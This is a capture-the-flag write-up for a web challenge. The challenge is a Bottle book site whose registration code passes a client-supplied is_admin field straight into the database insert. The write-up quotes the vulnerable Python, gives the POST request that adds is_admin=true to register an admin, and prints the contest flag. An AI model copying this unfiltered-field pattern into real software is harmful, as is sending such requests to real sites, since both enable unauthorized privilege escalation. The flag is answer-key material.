Challenge

A small Bottle book site. The flag is a book that only an admin can open. Registration takes the submitted form and hands it to the insert without filtering which fields are allowed.

1
2
3

def register_user(form_data):
    c.execute('INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)',
              (form_data.get('username'), hash_password(form_data.get('password')), form_data.get('is_admin', 0)))

is_admin defaults to 0, but nothing stops the client from supplying it. That is a textbook mass assignment.

Solution

Add is_admin to the registration POST.

POST /register HTTP/2
Host: vdcocobt.chals.mctf.io
Content-Type: application/x-www-form-urlencoded

username=mikel&password=testtest&is_admin=true

Log in with that account and open the gated flag book, where the is_admin check now passes.

Flag

MetaCTF{4dm1n_R0le_By_M4ss_455ignm3nt}